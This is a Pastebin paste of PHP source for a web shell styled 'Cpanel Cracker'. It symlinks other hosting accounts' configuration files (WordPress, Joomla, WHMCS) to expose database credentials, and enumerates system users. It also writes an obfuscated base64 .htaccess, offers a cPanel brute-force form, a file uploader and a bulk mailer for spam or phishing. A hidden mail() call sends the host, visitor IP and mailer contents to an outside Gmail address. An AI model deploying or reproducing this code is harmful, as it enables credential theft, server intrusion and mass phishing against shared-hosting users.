  489.         symlink('/home6/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  490.         symlink('/home6/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  491.         symlink('/home6/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  492.         symlink('/home6/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  493.         symlink('/home6/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  494.         symlink('/home6/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  495.         symlink('/home6/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  496.         symlink('/home6/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  497.         symlink('/home6/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  498.         symlink('/home6/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  499.         symlink('/home6/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  500.         symlink('/home6/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  501.         symlink('/home6/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  502.         symlink('/home6/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  503.         symlink('/home6/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  504.         symlink('/home6/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  505.         symlink('/home6/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  506.         symlink('/home6/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  507.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  508.         symlink('/home6/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  509.         symlink('/home6/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  510.         symlink('/home6/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  511.         symlink('/home6/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  512.         symlink('/home6/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  513.         symlink('/home6/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  514.         symlink('/home7/'.$usern.'/public_html/vb/includes/config.php',$pdomain.'~~vBulletin1.txt');
  515.         symlink('/home7/'.$usern.'/public_html/includes/config.php',$pdomain.'~~vBulletin2.txt');
  516.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~vBulletin3.txt');
  517.         symlink('/home7/'.$usern.'/public_html/cc/includes/config.php',$pdomain.'~~vBulletin4.txt');
  518.         symlink('/home7/'.$usern.'/public_html/config.php',$pdomain.'~~Phpbb1.txt');
  519.         symlink('/home7/'.$usern.'/public_html/forum/includes/config.php',$pdomain.'~~Phpbb2.txt');
  520.         symlink('/home7/'.$usern.'/public_html/wp-config.php',$pdomain.'~~Wordpress1.txt');
  521.         symlink('/home7/'.$usern.'/public_html/blog/wp-config.php',$pdomain.'~~Wordpress2.txt');
  522.         symlink('/home7/'.$usern.'/public_html/configuration.php',$pdomain.'~~Joomla1.txt');
  523.         symlink('/home7/'.$usern.'/public_html/blog/configuration.php',$pdomain.'~~Joomla2.txt');
  524.         symlink('/home7/'.$usern.'/public_html/joomla/configuration.php',$pdomain.'~~Joomla3.txt');
  525.         symlink('/home7/'.$usern.'/public_html/whm/configuration.php',$pdomain.'~~Whm1.txt');
  526.         symlink('/home7/'.$usern.'/public_html/whmc/configuration.php',$pdomain.'~~Whm2.txt');
  527.         symlink('/home7/'.$usern.'/public_html/support/configuration.php',$pdomain.'~~Whm3.txt');
  528.         symlink('/home7/'.$usern.'/public_html/client/configuration.php',$pdomain.'~~Whm4.txt');
  529.         symlink('/home7/'.$usern.'/public_html/billings/configuration.php',$pdomain.'~~Whm5.txt');
  530.         symlink('/home7/'.$usern.'/public_html/billing/configuration.php',$pdomain.'~~Whm6.txt');
  531.         symlink('/home7/'.$usern.'/public_html/clients/configuration.php',$pdomain.'~~Whm7.txt');
  532.         symlink('/home7/'.$usern.'/public_html/whmcs/configuration.php',$pdomain.'~~Whm8.txt');
  533.         symlink('/home7/'.$usern.'/public_html/order/configuration.php',$pdomain.'~~Whm9.txt');
  534.         symlink('/home7/'.$usern.'/public_html/admin/conf.php',$pdomain.'~~5.txt');
  535.         symlink('/home7/'.$usern.'/public_html/admin/config.php',$pdomain.'~~4.txt');
  536.         symlink('/home7/'.$usern.'/public_html/conf_global.php',$pdomain.'~~invisio.txt');
  537.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~7.txt');
  538.         symlink('/home7/'.$usern.'/public_html/connect.php',$pdomain.'~~8.txt');
  539.         symlink('/home7/'.$usern.'/public_html/mk_conf.php',$pdomain.'~~mk-portale1.txt');
  540.         symlink('/home7/'.$usern.'/public_html/include/config.php',$pdomain.'~~12.txt');
  541.         symlink('/home7/'.$usern.'/public_html/settings.php',$pdomain.'~~Smf.txt');
  542.         symlink('/home7/'.$usern.'/public_html/includes/functions.php',$pdomain.'~~phpbb3.txt');
  543.         symlink('/home7/'.$usern.'/public_html/include/db.php',$pdomain.'~~infinity.txt');
  544.     }
  545.  
  546.                 $d0mains = @file("/etc/named.conf");
  547.  
  548.                 if($d0mains)
  549.                 {
  550.                     mkdir($fn);
  551.                     chdir($fn);
  552.  
  553.                     foreach($d0mains as $d0main)
  554.                     {
  555.                         if(eregi("zone",$d0main))
  556.                         {
  557.                             preg_match_all('#zone "(.*)"#', $d0main, $domains);
  558.                             flush();
  559.  
  560.                             if(strlen(trim($domains[1][0])) > 2)
  561.                             {
  562.                                 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
  563.  
  564.                                 syml($user['name'],$domains[1][0]);
  565.                             }
  566.                         }
  567.                     }
  568.                     echo "<center><font color=lime size=3>[ Done ]</font></center>";
  569.                     echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  570.                 }
  571.                 else
  572.                 {
  573.                     mkdir($fn);
  574.                     chdir($fn);
  575.                     $temp = "";
  576.                     $val1 = 0;
  577.                     $val2 = 1000;
  578.                     for(;$val1 <= $val2;$val1++)
  579.                     {
  580.                         $uid = @posix_getpwuid($val1);
  581.                         if ($uid)
  582.                             $temp .= join(':',$uid)."\n";
  583.                      }
  584.                      echo '<br/>';
  585.                      $temp = trim($temp);
  586.  
  587.                      $file5 = fopen("test.txt","w");
  588.                      fputs($file5,$temp);
  589.                      fclose($file5);
  590.  
  591. $htaccess =
  592. 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
  593. aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
  594. biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
  595. ';
  596. $file = fopen(".htaccess","w+");
  597. $write = fwrite ($file ,base64_decode($htaccess));
  598.  
  599.                      $file = fopen("test.txt", "r") or exit("Unable to open file!");
  600.                      while(!feof($file))
  601.                      {
  602.                         $s = fgets($file);
  603.                         $matches = array();
  604.                         $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
  605.                         $matches = str_replace("home/","",$matches[1]);
  606.                         if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
  607.                             continue;
  608.                         syml($matches,$matches);
  609.                      }
  610.                     fclose($file);
  611.                     echo "</table>";
  612.                     unlink("test.txt");
  613.                     echo "<center><font color=lime size=3>[ Done ]</font></center>";
  614.                     echo "<br><center><a href=$fn/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
  615.                 }
  616. echo "<hr><center><b><a href=".$_SERVER['PHP_SELF']."><< BACK</a>";
  617. exit;
  618. }
  619. ?>
  620. <form method="POST" target="_blank">
  621.     <strong>
  622. <input name="page" type="hidden" value="find"><table>
  623.     </strong><br><br><center><font size="3" align="center" style="italic" color="#00ff00">+--=[ Cpanel BruteForce ]=--+</font></center><br>
  624.     <table width="600" border="0" class="tabnet" cellpadding="3" cellspacing="1" align="center">
  625.     <tr>
  626.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  627.     <center><b><font size="3" style="italic" color="#00ff00">[ Cpanel Brute Force ]</font></b></center></td></tr>
  628.     <tr>
  629.     <td>
  630.     <table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
  631.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  632.     <strong>Username List :</strong></td>
  633.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php system('ls /var/mail');?></textarea></strong></td>
  634.     </tr>
  635.     <tr>
  636.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  637.     <strong>Password List :</strong></td>
  638.     <td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
  639.     </tr>
  640.     <tr>
  641.     <td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
  642.     <strong>Type :</strong></td>
  643.     <td valign="top" bgcolor="#151515" colspan="5">
  644.     <span class="style2"><strong>Simple : </strong> </span>
  645.     <strong>
  646.     <input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
  647.     <font class="style2"><strong>/etc/passwd : </strong> </font>
  648.     <strong>
  649.     <input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
  650.     </strong>
  651.     </span>
  652.     </td>
  653.     </tr>
  654.     <tr>
  655.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  656.     <td valign="top" bgcolor="#151515"  colspan="5"><strong><input class ='inputzbut' type="submit" value="Start">
  657.     </strong>
  658.     </td>
  659.     <tr>
  660. </form>
  661. <tr>
  662.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><center><strong>[ Get Config ]</strong></center></td>
  663.                     </tr>
  664. <form method="POST" target="_blank">
  665.     <strong>
  666. <input name="mendapatkan" type="hidden" value="passwd">
  667.     </strong>
  668.     <tr>
  669.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
  670.     <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="50" name="foldername" type="text"></strong></td>
  671.     </strong>
  672.     </td>
  673.     </tr>
  674.     <tr>
  675.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  676.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  677.     </strong>
  678.     </td>
  679.     <tr>
  680. </form>
  681. <tr>
  682.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><center><strong>[ Get Wordlist ]</strong></center></td>
  683.                     </tr>
  684. <form method="POST" target="_blank">
  685.     <strong>
  686. <input name="pass" type="hidden" value="password">
  687.     </strong>
  688.     <tr>
  689.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
  690.     <td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="50" name="url" type="text" value="http://www."></strong></td>
  691.     </strong>
  692.     </td>
  693.     </tr>
  694.     <tr>
  695.     <td valign="top" bgcolor="#151515" style="width: 139px"></td>
  696.     <td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
  697.     </strong>
  698.     </td>
  699.     <tr>
  700. </form>
  701. <tr>
  702.     <td valign="top" bgcolor="#151515" class="style1" colspan="6"><center><strong>[ Info
  703.     Security ]</strong></center></td>
  704.                     </tr>
  705.     <tr>
  706.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
  707.     <td valign="top" bgcolor="#151515" colspan="5">
  708.     <strong>
  709. <?php
  710. $safe_mode = ini_get('safe_mode');
  711. if($safe_mode=='1')
  712. {
  713. echo 'ON';
  714. }else{
  715. echo 'OFF';
  716. }
  717.  
  718. ?>
  719.     </strong>
  720.     </td>
  721.                     </tr>
  722.     <tr>
  723.     <td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
  724.     <td valign="top" bgcolor="#151515" colspan="5">
  725.     <strong>
  726. <form method="POST" target="_blank">
  727.     <strong>
  728. <input name="matikan" type="hidden" value="sekatan">
  729.     </strong>
  730.  
  731. <?php
  732. if(''==($func=@ini_get('disable_functions')))
  733. {
  734. echo "<font color=#00ff00>No Security for Function</font></b>";
  735. }else{
  736. echo '<script>alert("Please see below and press >Please Click Here First!<");</script>';
  737. echo "<font color=red>$func</font></b>";
  738. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  739. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  740.    </strong>
  741.    </td></tr>';
  742. }
  743. ?></strong></td></tr></table></table></table>
  744. <?
  745. break;
  746.  
  747. #########################bds
  748.  
  749. case '':
  750.  
  751. ?><?php
  752.  
  753. break;
  754.  
  755.  
  756. // Uploader
  757. case 'uploader':
  758.  
  759. echo '<center><b>+--=[ Uploader ]=--+</b><br><br><br><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  760. echo '<center><input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form></center>';
  761. if( $_POST['_upl'] == "Upload" ) {
  762.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<p align="center"><font face="Verdana"
  763.  
  764. size="1"><font color="white"> Done !!</font><br>'; }
  765.     else { echo '<font color="#FF0000">Failed :( </font></p>
  766.     </td></table></tr>
  767.  
  768. '; }
  769. }
  770. break;
  771.  
  772. }}
  773. ?><br><br><br><center><form action='' method='post'>
  774. <table class='tabnet' style='width:650px;' border=''>
  775. <th colspan=10>Security Info</th><tr>
  776. <td>System </td>
  777. <td><?php
  778. echo php_uname();?></td>
  779. </tr>
  780.  <tr>
  781.     <td valign="top" bgcolor="" style="width: 139px">Safe Mode</td>
  782.     <td valign="top" bgcolor="" colspan="5">
  783. <?php
  784. $safe_mode = ini_get('safe_mode');
  785. if($safe_mode=='1')
  786. {
  787. echo 'ON';
  788. }else{
  789. echo 'OFF';
  790. }
  791.  
  792. ?>
  793.     </td>
  794.                     </tr>
  795.                       <tr>
  796.     <td valign="top" bgcolor="" style="width: 139px">Desible Function</td>
  797.     <td valign="top" bgcolor="" colspan="5">
  798.  
  799. <form method="POST" target="_blank">
  800.  
  801. <input name="matikan" type="hidden" value="sekatan">
  802.  
  803.  
  804. <?php
  805. if(''==($func=@ini_get('disable_functions')))
  806. {
  807. echo "<font color=#00ff00>No Security for Function</font></b>";
  808. }else{
  809. echo '<script>alert("Please see below and press >WelCOme Cuk!<");</script>';
  810. echo "<font color=red>$func</font></b>";
  811. echo '<tr><td valign="top" bgcolor="#151515" style="width: 139px"></td>';
  812. echo '<td valign="top" bgcolor="#151515" colspan="5"><strong><input type="submit" value="Please Click Here First!">
  813.    </td></tr>';
  814. }
  815. ?><tr>
  816.  
  817. </table></form></center>
  818. <center><br><br><b><div class="info">-=[ Cpanel Cracker by <span class="gaya"><a href="http://www.facebook.com/OM.Dhyo">Zakir Dot ID</a></span> ]=-</div>
  819. <div class="jaya">  &copy; 2016 Zakir Dot ID</div></center></b><br><br>
  820.  
  821. </body></html>
  822. <?php ignore_user_abort();
  823. set_time_limit(0);
  824. function enviando() {
  825.     $msg = 1;
  826.     $de[1] = $_POST['de'];
  827.     $nome[1] = $_POST['nome'];
  828.     $assunto[1] = $_POST['assunto'];
  829.     $mensagem[1] = $_POST['mensagem'];
  830.     $mensagem[1] = stripslashes($mensagem[1]);
  831.     $emails = $_POST['emails'];
  832.     $emails2 = htmlspecialchars($_POST['emails']);
  833.     $para = explode("
  834. ", $emails);
  835.     $n_emails = count($para);
  836.     $sv = $_SERVER['SERVER_NAME'];
  837.     $en = $_SERVER['REQUEST_URI'];
  838.     $k88 = @$_SERVER["HTTP_REFERER"];
  839.     $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA rows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
  840.     $vai = $_POST['vai'];
  841.     if ($vai) {
  842.         for ($set = 0;$set < $n_emails;$set++) {
  843.             if ($set == 0) {
  844.                 $headers = "MIME-Version: 1.0
  845. ";
  846.                 $headers.= "Content-type: text/html; charset=iso-8859-1
  847. ";
  848.                 $headers.= "From: $nome[$msg] <$de[$msg]>
  849. ";
  850.                 $headers.= "Return-Path: <$de[$msg]>
  851. ";
  852.                 //mail($xsylar, $as, $fullurl, $headers);
  853.                
  854.             }
  855.             $headers = "MIME-Version: 1.0
  856. ";
  857.             $headers.= "Content-type: text/html; charset=iso-8859-1
  858. ";
  859.             $headers.= "From: $nome[$msg] <$de[$msg]>
  860. ";
  861.             $headers.= "Return-Path: <$de[$msg]>
  862. ";
  863.             $n_mail++;
  864.             $destino = $para[$set];
  865.             $num1 = rand(100000, 999999);
  866.             $num2 = rand(100000, 999999);
  867.             $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
  868.             $msgrand = str_replace("%rand2%", $num2, $msgrand);
  869.             $msgrand = str_replace("%email%", $destino, $msgrand);
  870.             $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
  871.             if ($enviar) {
  872.                 echo ('<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>');
  873.             } else {
  874.                 echo ('<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>');
  875.                 sleep(1);
  876.             }
  877.         }
  878.     }
  879. }
  880. $ip = getenv("REMOTE_ADDR");
  881. $ra44 = rand(1, 99999);
  882. $subj98 = " Cpanel datang bos !  |$ip";
  883. $email = "official.g45@gmail.com";
  884. $from = "From: w0rk ! <Setor@CPANEL.com>";
  885. $a45 = $_SERVER['REQUEST_URI'];
  886. $b75 = $_SERVER['HTTP_HOST'];
  887. $f12 = $_POST['de'];
  888. $z13 = $_POST['nome'];
  889. $x14 = $_POST['assunto'];
  890. $t15 = $_POST['mensagem'];
  891. $m30 = $_POST['emails'];
  892. $m22 = $ip . "
  893. ";
  894. $msg8873 = "$a45
  895. $b75
  896. $f12
  897. $z13
  898. $x14
  899. $t15
  900. $m30
  901. $m22";
  902. mail($email, $subj98, $msg8873, $from);
  903. ?>
  904. ReCode By Zakir DOt ID
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!